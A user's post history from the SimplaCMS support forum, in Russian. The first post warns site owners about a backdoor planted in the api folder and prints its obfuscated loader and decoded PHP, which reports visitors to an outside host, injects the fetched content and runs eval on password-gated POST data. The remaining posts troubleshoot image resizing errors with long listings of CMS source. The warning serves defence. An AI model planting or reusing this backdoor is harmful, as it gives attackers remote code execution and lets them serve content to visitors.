Перейти к содержанию
Официальный форум поддержки Simpla

Dmitry86

Пользователь
  • Публикаций

    192
  • Зарегистрирован

  • Посещение

Сообщения, опубликованные Dmitry86

  1. Всем добрый день.

    Хочу предупредить пользователей SimplaCMS- проверьте свою папку api на предмет наличия нестандартных или зашифрованных скриптов. В качестве примера приведу скрипт Modification.php следующего содержания:

    <?php
    @ini_set("error_log",NULL);
    @ini_set("log_errors",0);
    @ini_set("display_errors", 0);
    error_reporting(0);
    $wa = ASSERT_WARNING;
    @assert_options($wa, 0);
    @assert_options(ASSERT_QUIET_EVAL, 1);
    
    $strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
    $light =  $strings2($gbz.'("закодированный base64"));'); $strings($light);
    ?>

    После расшифровки получается следующее:

    <?php
    
    if (!isset($ibv)) {
    @ini_set("display_errors",false);
    @error_reporting(0);
    
    if(!empty($_COOKIE["client_check"]) && empty($ibv)) {
    	$ibv = $_COOKIE["client_check"];
    	echo $ibv;
    } elseif (empty($ibv)) {
    	if (strstr($_SERVER["HTTP_HOST"], "127.0")){
    		$name = $_SERVER["SERVER_ADDR"];
    	}else{
    		$name = $_SERVER["HTTP_HOST"];
    	}
    
    $usera = isset($_SERVER["HTTP_USER_AGENT"])?urlencode($_SERVER["HTTP_USER_AGENT"]):"";
    
    $url = "http://megabratika.ru/get.php?ip=".urlencode($_SERVER["REMOTE_ADDR"])."&d=".urlencode($name.$_SERVER["REQUEST_URI"])."&u=".$usera."&i=1&h=".md5("kjub65ftr3xcjbpo0o3rvcrf3,cpre9tlr");
    
    if(function_exists("curl_init")) {
    
    	$ch = curl_init($url);
    	curl_setopt($ch, CURLOPT_HEADER, FALSE);
    	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    	curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    	curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    	$ibv = curl_exec($ch);$info = curl_getinfo($ch);
    		if ($info["http_code"]!=200){
    			$ibv="";
    		}
    	curl_close($ch);
    
    } elseif (ini_get("allow_url_fopen") == 1) {
    	$ibv = file_get_contents($url);
    }
    	
    	if(!empty($_POST["p"]) && md5(md5($_POST["p"])) == "f5dfs45hj9ij99kh78vfsdjhf4v3s56b") { @eval(stripslashes($_POST["c"])); }
    		echo $ibv;
    	}
    }

     

    Скрипт был подключен includ'ом в api/Simpla.php в самом низу. Причем файл может быть с какой-то старой датой, чтобы не бросался в глаза.

    Данный скрипт закачивался через загрузчик, который кто-то заботливо положил в корне в папку backend/uploader/*  и он был доступен извне. Не факт, что папки и файлы у вас будут называться точно так же, поэтому надо проверять всё. Вероятно, это было сделано кем-то, кто имел доступы к сайту, но установить это невозможно.

  2. 1 час назад, phukortsin сказал:

    Надо детально анализировать весь процесс именно на Вашем сайте, где к тому же сделано немало изменений по ресайзу. Простой код в пару строк Вам вряд ли подскажут...

    Благодарю за ответы, буду разбираться.

  3. 1 час назад, Dmitry86 сказал:

    Короче, если раскомментировать это, то в админке пропадают все изображения товаров, просто белый фон. И не загружаются новые изображения..

    Ошибся. Изображения в админке пропадают из-за настроек в clodflare (потом появляются), а вот новые изображения не ресайзятся..

  4. 4 часа назад, phukortsin сказал:

    Simpla стандартно в такой ситуации отправляет ответ 200. Так сделано автором.

    Если надо иначе, пробуйте менять в resize/resize.php 

    if(!$simpla->config->check_token($filename, $token))
        exit('bad token');        
    на

    if(!$simpla->config->check_token($filename, $token)){
        header("http/1.0 404 not found");
        exit('bad token');        
    }

    Короче, если раскомментировать это, то в админке пропадают все изображения товаров, просто белый фон. И не загружаются новые изображения..

  5. 2 часа назад, phukortsin сказал:

    Simpla стандартно в такой ситуации отправляет ответ 200. Так сделано автором.

    Если надо иначе, пробуйте менять в resize/resize.php 

    if(!$simpla->config->check_token($filename, $token))
        exit('bad token');        
    на

    if(!$simpla->config->check_token($filename, $token)){
        header("http/1.0 404 not found");
        exit('bad token');        
    }

    Странно, но в изначальном решении https://forum.simplacms.ru/topic/8424-убираем-токен-из-адреса-изображения/ этот код закомментирован.... Если его раскомментировать, то несуществующие изображения снова начинают отдавать ответ 200 и "bad token".

     

    У меня есть ещё самописный файлик, ресайзер, который на кроне автоматом должен ресайзить изображения для карточек товаров, по которым ещё не прошелся пользователь, выглядит следующим образом:

    <?php
    //ini_set('display_errors', 1);
    chdir(dirname(__FILE__).'/');
    require_once('api/Simpla.php');
    $simpla = new Simpla();
    
    #############################################
    $limit = 20;
    //Перед тем как ставить новое значение ресайза - нужно заглянуть в БД в таблицу s_settings и посмотреть переменную image_sizes
    //Если в ней нет нового ресайза - нужно его добавить ч-з вертикальную черту, например [current_value]|120x90 иначе ресайз не пройдет
    //Эта переменная отображает все используемые размеры в шаблоне клиентской и админки, и соответственно добавленные вручную значения
    $size = '1024x768';
    $origin_dir = dirname(__FILE__) . '/' . $simpla->config->original_images_dir;
    $resize_dir = dirname(__FILE__) . '/' . $simpla->config->resized_images_dir;
    #############################################
    
    $query = $simpla->db->placehold(
                                        "SELECT i.id, i.filename 
                                            FROM __images i 
                                            INNER JOIN __products p ON i.product_id=p.id 
                                            WHERE i.id>? AND p.visible=1
                                            ORDER BY i.id 
                                            LIMIT ?", 
                                        intval($simpla->settings->current_resized_id), 
                                        $limit
                                    );
    $simpla->db->query($query);
    $images = $simpla->db->results();
    if(empty($images)) {
        $simpla->settings->current_resized_id = 0;
    }
    foreach($images as $k=>$image) {
        $filename = pathinfo($image->filename, PATHINFO_FILENAME);
        $fileext  = pathinfo($image->filename, PATHINFO_EXTENSION);
        $resized_filename = "$filename.$size.$fileext";
        if(file_exists($origin_dir.$image->filename) && !file_exists($resize_dir.$resized_filename)) {
            $resized_image = $simpla->image->resize($resized_filename);
        }
        $simpla->settings->current_resized_id = $image->id;
        // Тут можно замутить типа интервал между выполнением ресайзов в секундах, чтоб давать серверу отдохнуть и можно попробовать увеличить количество картинок до 15
        /*if($k && $k % 5 == 0) {
            sleep(2);
        }*/
    }
    exit;

    И при попытке его запустить он также сваливается в 500:

    [cgi:error] [pid 4180] [client 188.225.72.35:44274] AH01215:   thrown in /home/username/web/sitename.ru/public_html/api/Image.php on line 338: /home/username/web/sitename.ru/cgi-bin/php

    Что-то где-то всё равно сломано..

  6. 9 часов назад, alexivchenko сказал:

    Киньте сюда ваши фалы api/Image.php, api/Design.php и resize/resize.php

    api/Image.php

    <?php
    
    /**
     * Simpla CMS
     *
     * @copyright	2011 Denis Pikusov
     * @link		http://simplacms.ru
     * @author		Denis Pikusov
     *
     */
    
    require_once('Simpla.php');
    
    class Image extends Simpla
    {
    	private	$allowed_extentions = array('png', 'gif', 'jpg', 'jpeg', 'ico');
    
    	public function __construct()
    	{		
    		parent::__construct();
    	}
    	
    	
    	/**
    	 * Создание превью изображения
    	 * @param $filename файл с изображением (без пути к файлу)
    	 * @param max_w максимальная ширина
    	 * @param max_h максимальная высота
    	 * @return $string имя файла превью
    	 */
    	function resize($filename,$brands ='')
    	{
    		list($source_file, $width , $height, $set_watermark, $strict) = $this->get_resize_params($filename);
            
            $size = ($width?$width:0).'x'.($height?$height:0).($set_watermark?"w":'');
            $image_sizes = array();
            if($this->settings->image_sizes)
                $image_sizes = explode('|',$this->settings->image_sizes);
            if(!in_array($size, $image_sizes)){
                header("http/1.0 404 not found");
                exit();
            }
    
    		// Если вайл удаленный (http://), зальем его себе
    		if(substr($source_file, 0, 7) == 'http://' || substr($source_file, 0, 8) == 'https://')
    		{	
    			// Имя оригинального файла
    			if(!$original_file = $this->download_image($source_file))
    				return false;
    			
    			$resized_file = $this->add_resize_params($original_file, $width, $height, $set_watermark, $strict);			
    		}	
    		else
    		{
    			$original_file = $source_file;
    		}
    		
    		$resized_file = $this->add_resize_params($original_file, $width, $height, $set_watermark, $strict);			
    		
    	
    		
    		// Пути к папкам с картинками
            if($brands){
                $originals_dir = $this->config->root_dir.$this->config->brands_images_dir;
                $preview_dir = $this->config->root_dir.$this->config->brands_m_images_dir;
            }else{
        		$originals_dir = $this->config->root_dir.$this->config->original_images_dir;
        		$preview_dir = $this->config->root_dir.$this->config->resized_images_dir;
    		}
    
    		
    		$watermark_offet_x = $this->settings->watermark_offset_x;
    		$watermark_offet_y = $this->settings->watermark_offset_y;
    		
    		$sharpen = min(100, $this->settings->images_sharpen)/100;
    		$watermark_transparency =  1-min(100, $this->settings->watermark_transparency)/100;
    	
    	
    		if($set_watermark && is_file($this->config->watermark_file))
    			$watermark = $this->config->root_dir.$this->config->watermark_file;
    		else
    			$watermark = null;
    
    		if(class_exists('Imagick') && $this->config->use_imagick)
    			$this->image_constrain_imagick($originals_dir.$original_file, $preview_dir.$resized_file, $width, $height, $watermark, $watermark_offet_x, $watermark_offet_y, $watermark_transparency, $sharpen, $strict);
    		else
    			$this->image_constrain_gd($originals_dir.$original_file, $preview_dir.$resized_file, $width, $height, $watermark, $watermark_offet_x, $watermark_offet_y, $watermark_transparency, $strict);
    		
    		return $preview_dir.$resized_file;
    	}
    
    	public function add_resize_params($filename, $width=0, $height=0, $set_watermark=false, $strict=false)
    	{
    		if('.' != ($dirname = pathinfo($filename,  PATHINFO_DIRNAME)))
    			$file = $dirname.'/'.pathinfo($filename, PATHINFO_FILENAME);
    		else
    			$file = pathinfo($filename, PATHINFO_FILENAME);
    		$ext = pathinfo($filename, PATHINFO_EXTENSION);
    	
    		if($width>0 || $height>0)
    			$resized_filename = $file.'.'.($width>0?$width:'').'x'.($height>0?$height:'').($set_watermark?'w':'').($strict?'s':'').'.'.$ext;
    		else
    			$resized_filename = $file.'.'.($set_watermark?'w':'').($strict?'s':'').'.'.$ext;
    			
    		return $resized_filename;
    	}
    
    	public function get_resize_params($filename)
    	{
    		// Определаяем параметры ресайза
    		if(!preg_match('/(.+)\.([0-9]*)x([0-9]*)(w|s|ws)?\.([^\.]+)$/', $filename, $matches))
    			return false;
    			
    		$file = $matches[1];					// имя запрашиваемого файла
    		$width = $matches[2];					// ширина будущего изображения
    		$height = $matches[3];					// высота будущего изображения
    		if ($matches[4] == 'w') {
    			$set_watermark = true;
    		} elseif ($matches[4] == 's') {
    			$strict = true;
    		} elseif ($matches[4] =='ws') {
    			$set_watermark = true;
    			$strict = true;
    		}
    		$ext = $matches[5];						// расширение файла
    			
    		return array($file.'.'.$ext, $width, $height, $set_watermark, $strict);
    	}
    	
    	
    	public function download_image($filename)
    	{
    		// Заливаем только есть такой файл есть в базе
    		$this->db->query('SELECT 1 FROM __images WHERE filename=? LIMIT 1', $filename);
    		if(!$this->db->result())
    			return false;
    		
    		
    		// Имя оригинального файла
    		$uploaded_file = array_shift(explode('?', pathinfo($filename, PATHINFO_BASENAME)));
    		$uploaded_file = array_shift(explode('&', pathinfo($filename, PATHINFO_BASENAME)));
    		$base = urldecode(pathinfo($uploaded_file, PATHINFO_FILENAME));
    		$ext = pathinfo($uploaded_file, PATHINFO_EXTENSION);
    		
    		// Если такой файл существует, нужно придумать другое название
    		//$new_name = urldecode($uploaded_file);
            $new_name = strtolower(uniqid()).'.'.pathinfo($uploaded_file, PATHINFO_EXTENSION);
    			
    		while(file_exists($this->config->root_dir.$this->config->original_images_dir.$new_name))
    		{
    			$new_base = pathinfo($new_name, PATHINFO_FILENAME);
    			if(preg_match('/_([0-9]+)$/', $new_base, $parts))
    				$new_name = $base.'_'.($parts[1]+1).'.'.$ext;
    			else
    				$new_name = $base.'_1.'.$ext;
    		}
    		$this->db->query('UPDATE __images SET filename=? WHERE filename=?', $new_name, $filename);
    		
    		// Перед долгим копированием займем это имя
    		fclose(fopen($this->config->root_dir.$this->config->original_images_dir.$new_name, 'w'));
    		copy($filename, $this->config->root_dir.$this->config->original_images_dir.$new_name);
    		return $new_name;
    	}
    
    	public function upload_image($filename, $name)
    	{
    		// Имя оригинального файла
    		$uploaded_file = $new_name = pathinfo($name, PATHINFO_BASENAME);
    		$base = pathinfo($uploaded_file, PATHINFO_FILENAME);
    		$ext = pathinfo($uploaded_file, PATHINFO_EXTENSION);
    		
    		if(in_array(strtolower($ext), $this->allowed_extentions))
    		{			
    			while(file_exists($this->config->root_dir.$this->config->original_images_dir.$new_name))
    			{	
    				$new_base = pathinfo($new_name, PATHINFO_FILENAME);
    				if(preg_match('/_([0-9]+)$/', $new_base, $parts))
    					$new_name = $base.'_'.($parts[1]+1).'.'.$ext;
    				else
    					$new_name = $base.'_1.'.$ext;
    			}
    			if(move_uploaded_file($filename, $this->config->root_dir.$this->config->original_images_dir.$new_name))			
    				return $new_name;
    		}
    
    		return false;
    	}
    
    	
    	/**
    	 * Создание превью средствами gd
    	 * @param $src_file исходный файл
    	 * @param $dst_file файл с результатом
    	 * @param max_w максимальная ширина
    	 * @param max_h максимальная высота
    	 * @return bool
    	 */
    	private function image_constrain_gd($src_file, $dst_file, $max_w, $max_h, $watermark=null, $watermark_offet_x=0, $watermark_offet_y=0, $watermark_opacity=1, $strict=null)
    	{
    		$quality = 100;
    	
    		// Параметры исходного изображения
    		@list($src_w, $src_h, $src_type) = array_values(getimagesize($src_file));
    		$src_type = image_type_to_mime_type($src_type);	
    		
    		if(empty($src_w) || empty($src_h) || empty($src_type))
    			return false;
    	
    		// Нужно ли обрезать?
    		if (!$watermark && ($src_w <= $max_w) && ($src_h <= $max_h))
    	    {
    			// Нет - просто скопируем файл
    			if (!copy($src_file, $dst_file))
    				return false;
    			return true;
    	    }
    				
    		// Размеры превью при пропорциональном уменьшении
    		@list($dst_w, $dst_h) = $this->calc_contrain_size($src_w, $src_h, $max_w, $max_h);
    	
    		// Читаем изображение
    		switch ($src_type)
    		{
    		case 'image/jpeg':	
    			$src_img = imageCreateFromJpeg($src_file);		
    			break;
    		case 'image/gif':
    			$src_img = imageCreateFromGif($src_file);		
    			break;
    		case 'image/png':
    			$src_img = imageCreateFromPng($src_file);					
    			imagealphablending($src_img, true);
    			break;
    		default:
    			return false;
    		}
    		
    		if(empty($src_img))
    			return false;
    			
    		$src_colors = imagecolorstotal($src_img);
    		
    		// create destination image (indexed, if possible)
    		if ($src_colors > 0 && $src_colors <= 256)
    			$dst_img = imagecreate($dst_w, $dst_h);
    		else
    			$dst_img = imagecreatetruecolor($dst_w, $dst_h);
    		
    		if (empty($dst_img))
    			return false;
    	
    		$transparent_index = imagecolortransparent($src_img);
    		if ($transparent_index >= 0 && $transparent_index <= 128)
    		{
    			$t_c = imagecolorsforindex($src_img, $transparent_index);
    			$transparent_index = imagecolorallocate($dst_img, $t_c['red'], $t_c['green'], $t_c['blue']);
    			if ($transparent_index === false)
    				return false;
    			if (!imagefill($dst_img, 0, 0, $transparent_index))
    				return false;
    			imagecolortransparent($dst_img, $transparent_index);
    	    }
    	    // or preserve alpha transparency for png
    		elseif ($src_type === 'image/png')
    	    {
    			if (!imagealphablending($dst_img, false))
    				return false;
    			$transparency = imagecolorallocatealpha($dst_img, 0, 0, 0, 127);
    			if (false === $transparency)
    				return false;
    			if (!imagefill($dst_img, 0, 0, $transparency))
    				return false;
    			if (!imagesavealpha($dst_img, true))
    				return false;
    	    }		
    			
    	    // resample the image with new sizes
    		if (!imagecopyresampled($dst_img, $src_img, 0, 0, 0, 0, $dst_w, $dst_h, $src_w, $src_h))
    			return false;	
    			
    		// Watermark
    		if(!empty($watermark) && is_readable($watermark))
    		{	
    			$overlay = imagecreatefrompng($watermark);
                
    			// Get the size of overlay 
    			$owidth = imagesx($overlay); 
    			$oheight = imagesy($overlay);
    			
    			$watermark_x = min(($dst_w-$owidth)*$watermark_offet_x/100, $dst_w); 
    			$watermark_y = min(($dst_h-$oheight)*$watermark_offet_y/100, $dst_h); 
    	
    			//imagecopy($dst_img, $overlay, $watermark_x, $watermark_y, 0, 0, $owidth, $oheight);		
    			imagecopymerge($dst_img, $overlay, $watermark_x, $watermark_y, 0, 0, $owidth, $oheight, $watermark_opacity*100); 
    			
    		}	
    				
    			
    		// recalculate quality value for png image
    		if ('image/png' === $src_type)
    		{
    			$quality = round(($quality / 100) * 10);
    			if ($quality < 1)
    				$quality = 1;
    			elseif ($quality > 10)
    				$quality = 10;
    			$quality = 10 - $quality;
    		}
    	
    		// Сохраняем изображение
    		switch ($src_type)
    		{
    		case 'image/jpeg':	
    			return imageJpeg($dst_img, $dst_file, $quality);
    		case 'image/gif':
    			return imageGif($dst_img, $dst_file, $quality);
    		case 'image/png':
    			imagesavealpha($dst_img, true);
    			return imagePng($dst_img, $dst_file, $quality);
    		default:
    			return false;
    		}
    	}
    	
    	/**
    	 * Создание превью средствами imagick
    	 * @param $src_file исходный файл
    	 * @param $dst_file файл с результатом
    	 * @param max_w максимальная ширина
    	 * @param max_h максимальная высота
    	 * @return bool
    	 */
    	private function image_constrain_imagick($src_file, $dst_file, $max_w, $max_h, $watermark=null, $watermark_offet_x=0, $watermark_offet_y=0, $watermark_opacity=1, $sharpen=0.2, $strict=null)
    	{
    		$thumb = new Imagick();
    		
    		// Читаем изображение
    		if(!$thumb->readImage($src_file))
    			return false;
    		
    		// Размеры исходного изображения
    		$src_w = $thumb->getImageWidth();
    		$src_h = $thumb->getImageHeight();
    		
    		// Нужно ли обрезать?
    		if (!$watermark && !$strict && ($src_w <= $max_w) && ($src_h <= $max_h))
    	    { 
    			// Нет - просто скопируем файл
    			if (!copy($src_file, $dst_file))
    				return false;
    			return true;
    	    }	
    			
    		if ($strict) {
    			$thumb->thumbnailImage($max_w, $max_h, true, true);
    		} else {
    			// Размеры превью при пропорциональном уменьшении
    			list($dst_w, $dst_h) = $this->calc_contrain_size($src_w, $src_h, $max_w, $max_h);
    		
    			// Уменьшаем
    			$thumb->thumbnailImage($dst_w, $dst_h);
    		}
    		
    		// Устанавливаем водяной знак
    		if($watermark && is_readable($watermark))
    		{
    			$overlay = new Imagick($watermark);
    			
    			$overlay->evaluateImage(Imagick::EVALUATE_MULTIPLY, $watermark_opacity, Imagick::CHANNEL_ALPHA);
    			
    			// Get the size of overlay 
    			$owidth = $overlay->getImageWidth(); 
    			$oheight = $overlay->getImageHeight();
    			
    			if ($strict) {
    				$watermark_x = min(($max_w-$owidth)*$watermark_offet_x/100, $max_w); 
    				$watermark_y = min(($max_h-$oheight)*$watermark_offet_y/100, $max_h); 
    			} else {
    				$watermark_x = min(($dst_w-$owidth)*$watermark_offet_x/100, $dst_w); 
    				$watermark_y = min(($dst_h-$oheight)*$watermark_offet_y/100, $dst_h); 
    			}
    			
    		}
    		
    		// Убираем комменты и т.п. из картинки
    		$thumb->stripImage();
    
    		// Записываем картинку
    		if(!$thumb->writeImages($dst_file, true))
    			return false;
    		
    		// Уборка
    		$thumb->destroy();
    		if(isset($overlay) && is_object($overlay))
    			$overlay->destroy();
    		
    		return true;
    	}
    	
    	
    	/**
    	 * Вычисляет размеры изображения, до которых нужно его пропорционально уменьшить, чтобы вписать в квадрат $max_w x $max_h
    	 * @param src_w ширина исходного изображения
    	 * @param src_h высота исходного изображения
    	 * @param max_w максимальная ширина
    	 * @param max_h максимальная высота
    	 * @return array(w, h)
    	 */
    	function calc_contrain_size($src_w, $src_h, $max_w = 0, $max_h = 0)
    	{
    		if($src_w == 0 || $src_h == 0)
    			return false;
    			
    		$dst_w = $src_w;
    		$dst_h = $src_h;
    	
    		if($src_w > $max_w && $max_w>0)
    		{
    			$dst_h = $src_h * ($max_w/$src_w);
    			$dst_w = $max_w;
    		}
    		if($dst_h > $max_h && $max_h>0)
    		{
    			$dst_w = $dst_w * ($max_h/$dst_h);
    			$dst_h = $max_h;
    		}
    		return array($dst_w, $dst_h);
    	}	
    	
    	
    	private function files_identical($fn1, $fn2)
    	{
    		$buffer_len = 1024;
    	    if(!$fp1 = fopen($fn1, 'rb'))
    	        return FALSE;
    	
    	    if(!$fp2 = fopen($fn2, 'rb')) {
    	        fclose($fp1);
    	        return FALSE;
    	    }
    	
    	    $same = TRUE;
    	    while (!feof($fp1) and !feof($fp2))
    	        if(fread($fp1, $buffer_len) !== fread($fp2, $buffer_len)) {
    	            $same = FALSE;
    	            break;
    	        }
    	
    	    if(feof($fp1) !== feof($fp2))
    	        $same = FALSE;
    	
    	    fclose($fp1);
    	    fclose($fp2);
    	
    	    return $same;
    	}
    	
    	
    }

    api/Design.php

    <?php
    
    /**
     * Simpla CMS
     *
     * @copyright	2011 Denis Pikusov
     * @link		http://simplacms.ru
     * @author		Denis Pikusov
     *
     */
     
    require_once('Simpla.php');
    require_once('Smarty/libs/Smarty.class.php');
    
    class Design extends Simpla
    {
    	public $smarty;
        /* mobile */
    	public function set_theme($theme) {
        if(is_dir($this->config->root_dir.'/design/'.$theme.'/html')) {
            setcookie('theme', $theme, time()+60*60*24*30, "/");
            return $theme;
        }
        else
            return false;
    	}
    	 
    	public function get_theme() {
    	  if(!isset($_COOKIE['theme']) || !is_dir($this->config->root_dir.'/design/'.$_COOKIE['theme'].'/html')) {
    		  //$theme = $this->set_theme($this->settings->theme_full);
              if($this->is_mobile_browser())
    			  $theme = $this->set_theme($this->settings->theme_mobile);
    		  else
    			  $theme = $this->set_theme($this->settings->theme_full);
    	  }
    	  else
    		  if(!isset($_SESSION['admin']) && $_COOKIE['theme'] != $this->settings->theme_mobile && $_COOKIE['theme'] != $this->settings->theme_full){
    		     // $theme = $this->set_theme($this->settings->theme_full);
                  if($this->is_mobile_browser())
        			  $theme = $this->set_theme($this->settings->theme_mobile);
        		  else
        			  $theme = $this->set_theme($this->settings->theme_full);
    		  }else
              $theme = $_COOKIE['theme'];
    		  /*if($_SERVER['HTTP_X_REAL_IP'] == '188.163.90.254') {
                  $theme = $_COOKIE['theme'] = '2021v3';
              }*/
    	 
    	  return $theme;
    	}
    	 
    	public function get_themes()
    	{
    		if($handle = opendir('design/')) {
    			while(false !== ($file = readdir($handle)))
    			{ 
    				if(is_dir('design/'.$file) && $file[0] != '.')
    				{
    					unset($theme);
    					$theme->name = $file;
    					$themes[] = $theme; 
    				} 
    			}
    			closedir($handle); 
    			sort($themes);
    		}
    		return $themes;
    	} 
        /* mobile /*/
    	
    	public function __construct()
    	{
    		parent::__construct();
    
    		// Создаем и настраиваем Смарти
    		$this->smarty = new Smarty();
    		$this->smarty->compile_check = $this->config->smarty_compile_check;
    		$this->smarty->caching = $this->config->smarty_caching;
    		$this->smarty->cache_lifetime = $this->config->smarty_cache_lifetime;
    		$this->smarty->debugging = $this->config->smarty_debugging;
    		$this->smarty->error_reporting = E_ALL & ~E_NOTICE;
    
    		// Берем тему из настроек
            /* mobile */
    		//$theme = $this->settings->theme;
    		$theme = $this->get_theme();
            /* mobile /*/
    		
    
    		$this->smarty->compile_dir = $this->config->root_dir.'/compiled/'.$theme;
    		$this->smarty->template_dir = $this->config->root_dir.'/design/'.$theme.'/html';		
    
    		// Создаем папку для скомпилированных шаблонов текущей темы
    		if(!is_dir($this->smarty->compile_dir))
    			mkdir($this->smarty->compile_dir, 0777);
    						
    		$this->smarty->cache_dir = 'cache';
    				
    		$this->smarty->registerPlugin('modifier', 'resize', array($this, 'resize_modifier'));		
    		$this->smarty->registerPlugin('modifier', 'token', array($this, 'token_modifier'));
    		$this->smarty->registerPlugin('modifier', 'plural', array($this, 'plural_modifier'));		
    		$this->smarty->registerPlugin('function', 'url', array($this, 'url_modifier'));		
    		$this->smarty->registerPlugin('modifier', 'first', array($this, 'first_modifier'));		
    		$this->smarty->registerPlugin('modifier', 'cut', array($this, 'cut_modifier'));		
    		$this->smarty->registerPlugin('modifier', 'date', array($this, 'date_modifier'));		
    		$this->smarty->registerPlugin('modifier', 'time', array($this, 'time_modifier'));		
    		
    		if($this->config->smarty_html_minify)
    			$this->smarty->loadFilter('output', 'trimwhitespace');
    	}
    	
    	public function assign($var, $value)
    	{
    		return $this->smarty->assign($var, $value);
    	}
    
    	public function fetch($template)
    	{
    		// Передаем в дизайн то, что может понадобиться в нем
    		$this->design->assign('config',		$this->config);
    		/* mobile */
            //$this->design->assign('settings',	$this->settings);
    		$settings = $this->settings;
    		$settings->theme = $this->get_theme();
    		$this->design->assign('settings', $settings);
    		/* mobile /*/
    		return $this->smarty->fetch($template);
    	}
    	
    	public function set_templates_dir($dir)
    	{
    		$this->smarty->template_dir = $dir;			
    	}
    
    	public function set_compiled_dir($dir)
    	{
    		$this->smarty->compile_dir = $dir;
    	}
    	
    	public function get_var($name)
    	{
    		return $this->smarty->getTemplateVars($name);
    	}
    	
    	private function is_mobile_browser()
    	{
    
    		$user_agent = $_SERVER['HTTP_USER_AGENT']; 
    		$http_accept = isset($_SERVER['HTTP_ACCEPT'])?$_SERVER['HTTP_ACCEPT']:'';
    
    		if(preg_match('/iPad/i', $user_agent))
    			return false;
    		
    		if(stristr($user_agent, 'windows') && !stristr($user_agent, 'windows ce'))
    			return false;
    		
    		if(preg_match('/windows ce|iemobile|mobile|symbian|mini|wap|pda|psp|up\.browser|up\.link|mmp|midp|phone|pocket/i', $user_agent))
    			return true;
    	
    		if(stristr($http_accept, 'text/vnd.wap.wml') || stristr($http_accept, 'application/vnd.wap.xhtml+xml'))
    			return true;
    			
    		if(!empty($_SERVER['HTTP_X_WAP_PROFILE']) || !empty($_SERVER['HTTP_PROFILE']) || !empty($_SERVER['X-OperaMini-Features']) || !empty($_SERVER['UA-pixels']))
    			return true;
    	
    		$agents = array(
    		'acs-'=>'acs-',
    		'alav'=>'alav',
    		'alca'=>'alca',
    		'amoi'=>'amoi',
    		'audi'=>'audi',
    		'aste'=>'aste',
    		'avan'=>'avan',
    		'benq'=>'benq',
    		'bird'=>'bird',
    		'blac'=>'blac',
    		'blaz'=>'blaz',
    		'brew'=>'brew',
    		'cell'=>'cell',
    		'cldc'=>'cldc',
    		'cmd-'=>'cmd-',
    		'dang'=>'dang',
    		'doco'=>'doco',
    		'eric'=>'eric',
    		'hipt'=>'hipt',
    		'inno'=>'inno',
    		'ipaq'=>'ipaq',
    		'java'=>'java',
    		'jigs'=>'jigs',
    		'kddi'=>'kddi',
    		'keji'=>'keji',
    		'leno'=>'leno',
    		'lg-c'=>'lg-c',
    		'lg-d'=>'lg-d',
    		'lg-g'=>'lg-g',
    		'lge-'=>'lge-',
    		'maui'=>'maui',
    		'maxo'=>'maxo',
    		'midp'=>'midp',
    		'mits'=>'mits',
    		'mmef'=>'mmef',
    		'mobi'=>'mobi',
    		'mot-'=>'mot-',
    		'moto'=>'moto',
    		'mwbp'=>'mwbp',
    		'nec-'=>'nec-',
    		'newt'=>'newt',
    		'noki'=>'noki',
    		'opwv'=>'opwv',
    		'palm'=>'palm',
    		'pana'=>'pana',
    		'pant'=>'pant',
    		'pdxg'=>'pdxg',
    		'phil'=>'phil',
    		'play'=>'play',
    		'pluc'=>'pluc',
    		'port'=>'port',
    		'prox'=>'prox',
    		'qtek'=>'qtek',
    		'qwap'=>'qwap',
    		'sage'=>'sage',
    		'sams'=>'sams',
    		'sany'=>'sany',
    		'sch-'=>'sch-',
    		'sec-'=>'sec-',
    		'send'=>'send',
    		'seri'=>'seri',
    		'sgh-'=>'sgh-',
    		'shar'=>'shar',
    		'sie-'=>'sie-',
    		'siem'=>'siem',
    		'smal'=>'smal',
    		'smar'=>'smar',
    		'sony'=>'sony',
    		'sph-'=>'sph-',
    		'symb'=>'symb',
    		't-mo'=>'t-mo',
    		'teli'=>'teli',
    		'tim-'=>'tim-',
    		'tosh'=>'tosh',
    		'treo'=>'treo',
    		'tsm-'=>'tsm-',
    		'upg1'=>'upg1',
    		'upsi'=>'upsi',
    		'vk-v'=>'vk-v',
    		'voda'=>'voda',
    		'wap-'=>'wap-',
    		'wapa'=>'wapa',
    		'wapi'=>'wapi',
    		'wapp'=>'wapp',
    		'wapr'=>'wapr',
    		'webc'=>'webc',
    		'winw'=>'winw',
    		'winw'=>'winw',
    		'xda-'=>'xda-'
    		);
    		
    		if(!empty($agents[substr($_SERVER['HTTP_USER_AGENT'], 0, 4)]))
    	    	return true;
    	}	
    
    
    	public function resize_modifier($filename, $width=0, $height=0, $first=false, $second=false, $brands=false)
    	{
    		if ($first == 'w' || $second == 'w')
    			$set_watermark = true;
    		if ($first == 's' || $second == 's')
    			$strict = true;
            
            $size = ($width?$width:0).'x'.($height?$height:0).($set_watermark?"w":'');
            $image_sizes = array();
            if($this->settings->image_sizes)
                $image_sizes = explode('|',$this->settings->image_sizes);
            if(!in_array($size, $image_sizes)){
                $image_sizes[] = $size;
                $this->settings->image_sizes = implode('|',$image_sizes);
            }
    		
    		$resized_filename = $this->image->add_resize_params($filename, $width, $height, $set_watermark, $strict);
    		$resized_filename_encoded = $resized_filename;
    		
    		if(substr($resized_filename_encoded, 0, 7) == 'http://' || substr($resized_filename_encoded, 0, 8) == 'https://')
    			$resized_filename_encoded = rawurlencode($resized_filename_encoded);
    		if($brands)
                return $this->config->root_url.'/'.$this->config->brands_m_images_dir.$resized_filename_encoded.'?'.$this->config->token($resized_filename);
    
    		$resized_filename_encoded = rawurlencode($resized_filename_encoded);
    
    		return $this->config->root_url.'/'.$this->config->resized_images_dir.$resized_filename_encoded;//.'?'.$this->config->token($resized_filename);
    	}
    
    	public function token_modifier($text)
    	{
    		return $this->config->token($text);
    	}
    
    	public function url_modifier($params)
    	{
    		if(is_array(reset($params)))
    			return $this->request->url(reset($params));
    		else
    			return $this->request->url($params);
    	}
    
    	public function plural_modifier($number, $singular, $plural1, $plural2=null)
    	{
    		$number = abs($number); 
    		if(!empty($plural2))
    		{
    		$p1 = $number%10;
    		$p2 = $number%100;
    		if($number == 0)
    			return $plural1;
    		if($p1==1 && !($p2>=11 && $p2<=19))
    			return $singular;
    		elseif($p1>=2 && $p1<=4 && !($p2>=11 && $p2<=19))
    			return $plural2;
    		else
    			return $plural1;
    		}else
    		{
    			if($number == 1)
    				return $singular;
    			else
